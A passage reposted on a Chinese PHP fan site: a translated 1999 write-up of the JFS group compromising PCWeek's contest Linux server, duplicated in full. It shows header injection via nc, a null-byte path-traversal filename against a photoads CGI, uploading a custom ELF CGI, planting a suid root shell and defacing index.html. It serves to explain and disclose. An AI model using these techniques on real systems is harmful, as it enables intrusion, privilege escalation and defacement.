JFS 侵入 PCWEEK
时间：2007-02-17 来源：PHP爱好者
JFS 侵入 PCWEEK-LINUX 主机的详细过程
backend
译者注：PCWeek-Linux 主机是著名电脑杂志 PCWeek 为了测试 WEB 服务器 IIS（NT平台）
和 Apache（Linux平台）的安全性，提供给黑客/骇客攻击的两台主机之一。另一台主机安装
的是 IIS（NT平台）。详细情况请访问网站：http://www.hackpcweek.com/。
首先要进行的当然是——收集远端主机信息：打开的端口和提供的网络服务等。经过扫
描后发现大多数端口都被过滤掉了，原因可能是安装了防火墙或设置了 TCP-Wrapper 。所
以我们只能从 HTTP 服务器着手了。
lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#
嗯，服务器操作系统是 Red Hat，WEB服务器是 Apache/1.3.6。从网页上可知服务器安
装了 mod_perl，但只有一个 fingerprint 功能，对我们没有什么用处。
Apache 1.3.6 本身没有包含任何可供远端用户使用的CGI程序，但我们不清楚Red Hat
的发行版本中是否有，所以我们进行了一些测试（test-cgi, wwwboard, count.cgi等）。
结果令人失望。于是我们尝试找出网站的结构。经过对该网站HTML页的分析，终于找出
了网站DocumentRoot下的目录结构：
/
/cgi-bin
/photoads/
/photoads/cgi-bin
很自然地，我们的眼光落在 photoads 这个安装模块上。该商用CGI包可在"http://
www.hoffoce.com"找到，价格为$149，包括供检查和修改用的PERL源代码。
我们找到一个朋友，了解和掌握 photoads 在 Linux 平台上的安装情况，从而大致清楚
运行在该主机上的 photoads。
检查了缺省安装的文件后，我们发现可以取得所有用户名及其口令的数据库（http://
securelinux.hackpcweek.com/photoads/ads_data.pl），但当我们试图访问配置文件
/photoads/cgi-bin/photo_cfg.pl 时，服务器的设置拒绝了这个请求。
通过 /photoads/cgi-bin/env.cgi，我们可以知道该服务器的许多详细情况，如
DocumentRoot 在文件系统的位置（/home/httpd/html），运行 Apache 服务器的用户（
nobody）等。
现在，开始寻找漏洞的第一步，我们尝试寻找是否存在 SSI 或 mod_perl 嵌入 HTML
命令的漏洞，如：
<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl
但脚本中的匹配表达式却在许多输入域上过滤此类输入。不过与此同时我们却发现有一
个用户赋值的变量在转换成 HTML 代码前，并没有检查其值的合法性。我们可以通过它将命
令嵌入到由服务器端解析的 HTML 代码中：
在 post.cgi，行 36：
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}n";
$ENV{'HTTP_REFERER'}是一个用户赋值的变量，我们可以通过它将任何 HTML 嵌入到代
码中。
请阅读我们提供的文件 getit.ssi 和 getit.mod_perl。
在命令行下使用这些文件如下：
lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
但不幸的是，该主机的配置并不允许 SSI 或 mod_perl，所以我们无法利用这个方法侵
入系统。
因此我们决定在CGI脚本中寻找缺口。在PERL脚本中许多漏洞往往出现在 open()、
system() 或 `` 等调用中，前一个允许读/写/执行，而后两个允许执行。
虽然在该主机找不到后两种调用，但我们却发现了一些 open() 调用：
lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
photo.cgi: open ( FILE, $filename );
(...)
$BaseDir 和 $DataFile 两个变量是在配置文件中定义，且不能在运行时修改，无法被
我们利用。
但其余两个就……
在 photo.cgi，行 132：
$write_file = $Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);
因此，如果我们可以修改 $write_file 变量，就可以写文件系统中的任何文件。
$write_file 变量来自：
$write_file = $Upload_Dir.$filename;
其中，$Upload_Dir 在配置文件中定义，我们无法修改，但 $filename 变量又如何呢？
在 photo.cgi，行 226：
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+([^]+)$|.+/([^/]+)$/1/;
if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}
由此可知，该变量来自从提交表格的变量组分解出来的 $UPLOAD{'FILE_NAME'}，而且必
须经过匹配表达式过滤，因此我们不能用"../../../../../../../../etc/passwd"格式来取
得任何文件。匹配表达式为：
$filename =~ s/.+([^]+)$|.+/([^/]+)$/1/;
我们看到，如 $filename 与该表达式匹配，则返回ASCII码1（SOH）。同时，变量还必
须包含"gif"或"jpg"，以通过 Not_Valid_Image 过滤器。
经过多次尝试，以及从 Phrack 的关于PERL CGI安全性文章的帮助，我们发现以下格式
/jfs/../../../../../../../export/www/htdocs/index.html%00.gif
可以成功修改WEB服务器根目录下的index.html文件。:-)
然而，为了上载文件，我们仍须绕过更多的脚本代码。我们发现无法通过POST方法发送
包含上述内容的表格（无法转换%00），唯一的方法只能是GET。
在 photo.cgi ，行 256，会检查被上载文件的内容是否符合图像定义（宽/长/大小）
（记住，photo.cgi 是被当作某个AD上载图像的一个方法）。如果不符合这些细节，脚本将
删除该上载文件。这当然不是我们所希望的！
PCWeek 网站配置文件将 Imagesize 设为 0，所以我们可以忽略该脚本中有关JPG部分，
而将主要精力集中在GIF上。
if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}
在 photo.cgi，行 140：
if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}
if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}
由上可知，$PhotoWidth不能大于700，不能为空，且不能大于 $ImgWidth（缺省为350）
。
所以我们使 $PhotoWidth!="" 且 $Photowidth<350 即可。
对于 $PhotoHeight，则必须小于 $ImgHeight（缺省为250）。
综合以上要求，我们可以得到一个可以使用的数据：$PhotoWidth==$PhotoHeight==0。
研究提取该值的脚本后，我们唯一要做的就是将文件的第6至第9字节的值置为 ASCII 码 0
（NUL）。
在确保 FILE_CONTENT（文件内容）符合以上所有要求后，我们又在以下代码遇到了另一
个问题：
chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");
Show_Upload_Success($write_file);
哇！文件将被改名/移动（这可是我们绝对不希望的！）。
查找 $AdNum 变量的最终处理过程，我们发现它只能包含数字：
$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};
其余的字符将被删除。因此我们不能直接应用"../../../"这种方法。
那么，应该怎样做呢？我们看到 rename() 函数需要两个参数：旧的路径和新的路径。
哈哈，在函数过程中没有错误检查！当函数出错后将跳到下一行继续执行！那么如何才能使
该函数失败呢？Linux 内核对文件名长度限制为1024字节。因此如能使脚本将文件改名时新
文件名超过1024字节长，即可绕过这个过滤器。
所以，下一步就是要向系统传递一个大约1024字节长的AD号码。但由于脚本仅允许我们
发送对应AD号码已存在的图片，而且由系统产生一个10^1024（10的1024次幂，即小数点前有
1024个数字——backend注）的AD号码要花的时间对我们来说似乎太长了。;-)
我们又遇到另一个难题了！……
我们发现输入错误检查函数可以帮助我们创建一个指定的AD号码！浏览 edit.cgi 脚本
后，你也许就会想到：如果输入是一个文件名+回车符+一个1024位的数字，会产生什么结果
呢？;-)
请阅读用于创建新AD值的程序文件 long.adnum。
当成功绕过 $AdNum 的检查后，我们就可以让脚本创建/覆盖用户 nobody 有权写的任何
文件，其中包含了我们所希望的东西（GIF头部的NUL除外）。
现在就让我们对该主机试一试这个方法。
嗯，so far so good（一切顺利）。但当我们试图让脚本改写 index.html 文件时无法
成功。:( 其中的原因可能是没有覆盖该文件的权限（该文件由root拥有）。
让我们试一下是否还有其它入侵方法……
我们决定尝试修改CGI程序，以使其按我们的意愿运行:)。这种方法还可以让我们搜寻那
些“绝密”文件，然后拿出动卖。:)
我们修改了“覆盖”脚本，并让其成功地覆盖了一个CGI！:) 为了不覆盖那些较为重要
的CGI（这是提高隐蔽性的聪明法子——backend注），最后我们选择了 advisory.cgi（你知
道它有什么用吗？:)）
现在，我们将要上载一个shell脚本，以便我们可以执行一些命令。呵呵
然而，这个以CGI方式运行的shell脚本必须符合以下格式：
#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print
同时要记得，第6至第9字节必须为0或很小的值，以符合上面提及的大小定义……
#!/bi0000n/sh
以上这种方法是行不通的，内核只会读取前5个字节（#!/bi）内容并执行。在该主机中
我们无法只用三个字节去获得一个shell。又遇到难题了！:(
让我们看一下ELF（Linux缺省可执行类型）二进制文件格式，就会发现那些位置字节的
内容均为0x00。:) Yohoo :)
解决了这个问题后，现在我们需要将这个ELF可执行文件上载到远端服务器中。注意，文
件内容必须经过编码，因为我们已知道只能通过GET方法上载，而不是POST。因此还要考虑到
URI的最大长度。Apache 服务器上URI最大长度设为8190字节。别忘了，我们还有一个很长的
1024字节的AD号码，所以经编码后的ELF文件长度限制为大约7000字节。
以下这个程序：
lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/htmlnnr");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}
编译后：
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
优化（清除symbols）后：
lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#
URL编码后：
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url
这个文件大小超过了限制值。:(
我们只能自行编辑二进制文件以尽量减小文件体积。这可不是一件轻松的工作，但却有
效：
lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#
请阅读 get.sec.find文件，还有 to_url 脚本和用来运行一些基本命令的*.c文件。
现在，将这个CGI上载到服务器，再用浏览器访问它，如：
wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi
服务器返回的结果相当于在服务器上执行 find / 命令。:)
但我们在该服务器中找不到任何“绝密”文件，或许是nobody用户无权访问的缘故。:(
我们尝试了更多的命令搜索，如ls等，但仍无法找到它们的踪影。
[我怀疑这些文件是否真的保存在该服务器上！]
好了，现在是获取 root 权限的时候了。利用最新发现的 Red Hat crontab 漏洞就可以
轻松做到这一点。该漏洞详情请参阅 Bugtraq 或 securityfocus 上相关文档。
我们修改了源程序以适应自己的需要，因为我们不需交互式 root shell，而是创建一个
用户 nobody 可访问的 suid root shell，如 /tmp/.bs。我们再次上载该CGI，并运行它，
观察其运行结果。
我们制作了执行"ls /tmp"命令的CGI，执行后确认我们已拥有了一个 suid root shell。
另外，我们还上载了一个文件 /tmp/xx，用于修改 index.html 文件。
execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
好了。游戏结束！:)
总共花费了大约20个小时，还算不错！呵呵。:)
php爱好者站 http://www.phpfans.net 为phper提供一切资讯.
backend
译者注：PCWeek-Linux 主机是著名电脑杂志 PCWeek 为了测试 WEB 服务器 IIS（NT平台）
和 Apache（Linux平台）的安全性，提供给黑客/骇客攻击的两台主机之一。另一台主机安装
的是 IIS（NT平台）。详细情况请访问网站：http://www.hackpcweek.com/。
首先要进行的当然是——收集远端主机信息：打开的端口和提供的网络服务等。经过扫
描后发现大多数端口都被过滤掉了，原因可能是安装了防火墙或设置了 TCP-Wrapper 。所
以我们只能从 HTTP 服务器着手了。
lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#
嗯，服务器操作系统是 Red Hat，WEB服务器是 Apache/1.3.6。从网页上可知服务器安
装了 mod_perl，但只有一个 fingerprint 功能，对我们没有什么用处。
Apache 1.3.6 本身没有包含任何可供远端用户使用的CGI程序，但我们不清楚Red Hat
的发行版本中是否有，所以我们进行了一些测试（test-cgi, wwwboard, count.cgi等）。
结果令人失望。于是我们尝试找出网站的结构。经过对该网站HTML页的分析，终于找出
了网站DocumentRoot下的目录结构：
/
/cgi-bin
/photoads/
/photoads/cgi-bin
很自然地，我们的眼光落在 photoads 这个安装模块上。该商用CGI包可在"http://
www.hoffoce.com"找到，价格为$149，包括供检查和修改用的PERL源代码。
我们找到一个朋友，了解和掌握 photoads 在 Linux 平台上的安装情况，从而大致清楚
运行在该主机上的 photoads。
检查了缺省安装的文件后，我们发现可以取得所有用户名及其口令的数据库（http://
securelinux.hackpcweek.com/photoads/ads_data.pl），但当我们试图访问配置文件
/photoads/cgi-bin/photo_cfg.pl 时，服务器的设置拒绝了这个请求。
通过 /photoads/cgi-bin/env.cgi，我们可以知道该服务器的许多详细情况，如
DocumentRoot 在文件系统的位置（/home/httpd/html），运行 Apache 服务器的用户（
nobody）等。
现在，开始寻找漏洞的第一步，我们尝试寻找是否存在 SSI 或 mod_perl 嵌入 HTML
命令的漏洞，如：
<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl
但脚本中的匹配表达式却在许多输入域上过滤此类输入。不过与此同时我们却发现有一
个用户赋值的变量在转换成 HTML 代码前，并没有检查其值的合法性。我们可以通过它将命
令嵌入到由服务器端解析的 HTML 代码中：
在 post.cgi，行 36：
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}n";
$ENV{'HTTP_REFERER'}是一个用户赋值的变量，我们可以通过它将任何 HTML 嵌入到代
码中。
请阅读我们提供的文件 getit.ssi 和 getit.mod_perl。
在命令行下使用这些文件如下：
lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
但不幸的是，该主机的配置并不允许 SSI 或 mod_perl，所以我们无法利用这个方法侵
入系统。
因此我们决定在CGI脚本中寻找缺口。在PERL脚本中许多漏洞往往出现在 open()、
system() 或 `` 等调用中，前一个允许读/写/执行，而后两个允许执行。
虽然在该主机找不到后两种调用，但我们却发现了一些 open() 调用：
lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
photo.cgi: open ( FILE, $filename );
(...)
$BaseDir 和 $DataFile 两个变量是在配置文件中定义，且不能在运行时修改，无法被
我们利用。
但其余两个就……
在 photo.cgi，行 132：
$write_file = $Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);
因此，如果我们可以修改 $write_file 变量，就可以写文件系统中的任何文件。
$write_file 变量来自：
$write_file = $Upload_Dir.$filename;
其中，$Upload_Dir 在配置文件中定义，我们无法修改，但 $filename 变量又如何呢？
在 photo.cgi，行 226：
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+([^]+)$|.+/([^/]+)$/1/;
if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}
由此可知，该变量来自从提交表格的变量组分解出来的 $UPLOAD{'FILE_NAME'}，而且必
须经过匹配表达式过滤，因此我们不能用"../../../../../../../../etc/passwd"格式来取
得任何文件。匹配表达式为：
$filename =~ s/.+([^]+)$|.+/([^/]+)$/1/;
我们看到，如 $filename 与该表达式匹配，则返回ASCII码1（SOH）。同时，变量还必
须包含"gif"或"jpg"，以通过 Not_Valid_Image 过滤器。
经过多次尝试，以及从 Phrack 的关于PERL CGI安全性文章的帮助，我们发现以下格式
/jfs/../../../../../../../export/www/htdocs/index.html%00.gif
可以成功修改WEB服务器根目录下的index.html文件。:-)
然而，为了上载文件，我们仍须绕过更多的脚本代码。我们发现无法通过POST方法发送
包含上述内容的表格（无法转换%00），唯一的方法只能是GET。
在 photo.cgi ，行 256，会检查被上载文件的内容是否符合图像定义（宽/长/大小）
（记住，photo.cgi 是被当作某个AD上载图像的一个方法）。如果不符合这些细节，脚本将
删除该上载文件。这当然不是我们所希望的！
PCWeek 网站配置文件将 Imagesize 设为 0，所以我们可以忽略该脚本中有关JPG部分，
而将主要精力集中在GIF上。
if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}
在 photo.cgi，行 140：
if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}
if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}
由上可知，$PhotoWidth不能大于700，不能为空，且不能大于 $ImgWidth（缺省为350）
。
所以我们使 $PhotoWidth!="" 且 $Photowidth<350 即可。
对于 $PhotoHeight，则必须小于 $ImgHeight（缺省为250）。
综合以上要求，我们可以得到一个可以使用的数据：$PhotoWidth==$PhotoHeight==0。
研究提取该值的脚本后，我们唯一要做的就是将文件的第6至第9字节的值置为 ASCII 码 0
（NUL）。
在确保 FILE_CONTENT（文件内容）符合以上所有要求后，我们又在以下代码遇到了另一
个问题：
chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");
Show_Upload_Success($write_file);
哇！文件将被改名/移动（这可是我们绝对不希望的！）。
查找 $AdNum 变量的最终处理过程，我们发现它只能包含数字：
$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};
其余的字符将被删除。因此我们不能直接应用"../../../"这种方法。
那么，应该怎样做呢？我们看到 rename() 函数需要两个参数：旧的路径和新的路径。
哈哈，在函数过程中没有错误检查！当函数出错后将跳到下一行继续执行！那么如何才能使
该函数失败呢？Linux 内核对文件名长度限制为1024字节。因此如能使脚本将文件改名时新
文件名超过1024字节长，即可绕过这个过滤器。
所以，下一步就是要向系统传递一个大约1024字节长的AD号码。但由于脚本仅允许我们
发送对应AD号码已存在的图片，而且由系统产生一个10^1024（10的1024次幂，即小数点前有
1024个数字——backend注）的AD号码要花的时间对我们来说似乎太长了。;-)
我们又遇到另一个难题了！……
我们发现输入错误检查函数可以帮助我们创建一个指定的AD号码！浏览 edit.cgi 脚本
后，你也许就会想到：如果输入是一个文件名+回车符+一个1024位的数字，会产生什么结果
呢？;-)
请阅读用于创建新AD值的程序文件 long.adnum。
当成功绕过 $AdNum 的检查后，我们就可以让脚本创建/覆盖用户 nobody 有权写的任何
文件，其中包含了我们所希望的东西（GIF头部的NUL除外）。
现在就让我们对该主机试一试这个方法。
嗯，so far so good（一切顺利）。但当我们试图让脚本改写 index.html 文件时无法
成功。:( 其中的原因可能是没有覆盖该文件的权限（该文件由root拥有）。
让我们试一下是否还有其它入侵方法……
我们决定尝试修改CGI程序，以使其按我们的意愿运行:)。这种方法还可以让我们搜寻那
些“绝密”文件，然后拿出动卖。:)
我们修改了“覆盖”脚本，并让其成功地覆盖了一个CGI！:) 为了不覆盖那些较为重要
的CGI（这是提高隐蔽性的聪明法子——backend注），最后我们选择了 advisory.cgi（你知
道它有什么用吗？:)）
现在，我们将要上载一个shell脚本，以便我们可以执行一些命令。呵呵
然而，这个以CGI方式运行的shell脚本必须符合以下格式：
#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print
同时要记得，第6至第9字节必须为0或很小的值，以符合上面提及的大小定义……
#!/bi0000n/sh
以上这种方法是行不通的，内核只会读取前5个字节（#!/bi）内容并执行。在该主机中
我们无法只用三个字节去获得一个shell。又遇到难题了！:(
让我们看一下ELF（Linux缺省可执行类型）二进制文件格式，就会发现那些位置字节的
内容均为0x00。:) Yohoo :)
解决了这个问题后，现在我们需要将这个ELF可执行文件上载到远端服务器中。注意，文
件内容必须经过编码，因为我们已知道只能通过GET方法上载，而不是POST。因此还要考虑到
URI的最大长度。Apache 服务器上URI最大长度设为8190字节。别忘了，我们还有一个很长的
1024字节的AD号码，所以经编码后的ELF文件长度限制为大约7000字节。
以下这个程序：
lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/htmlnnr");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}
编译后：
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
优化（清除symbols）后：
lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#
URL编码后：
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url
这个文件大小超过了限制值。:(
我们只能自行编辑二进制文件以尽量减小文件体积。这可不是一件轻松的工作，但却有
效：
lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#
请阅读 get.sec.find文件，还有 to_url 脚本和用来运行一些基本命令的*.c文件。
现在，将这个CGI上载到服务器，再用浏览器访问它，如：
wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi
服务器返回的结果相当于在服务器上执行 find / 命令。:)
但我们在该服务器中找不到任何“绝密”文件，或许是nobody用户无权访问的缘故。:(
我们尝试了更多的命令搜索，如ls等，但仍无法找到它们的踪影。
[我怀疑这些文件是否真的保存在该服务器上！]
好了，现在是获取 root 权限的时候了。利用最新发现的 Red Hat crontab 漏洞就可以
轻松做到这一点。该漏洞详情请参阅 Bugtraq 或 securityfocus 上相关文档。
我们修改了源程序以适应自己的需要，因为我们不需交互式 root shell，而是创建一个
用户 nobody 可访问的 suid root shell，如 /tmp/.bs。我们再次上载该CGI，并运行它，
观察其运行结果。
我们制作了执行"ls /tmp"命令的CGI，执行后确认我们已拥有了一个 suid root shell。
另外，我们还上载了一个文件 /tmp/xx，用于修改 index.html 文件。
execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
好了。游戏结束！:)
总共花费了大约20个小时，还算不错！呵呵。:)
php爱好者站 http://www.phpfans.net 为phper提供一切资讯.
相关阅读 更多 +
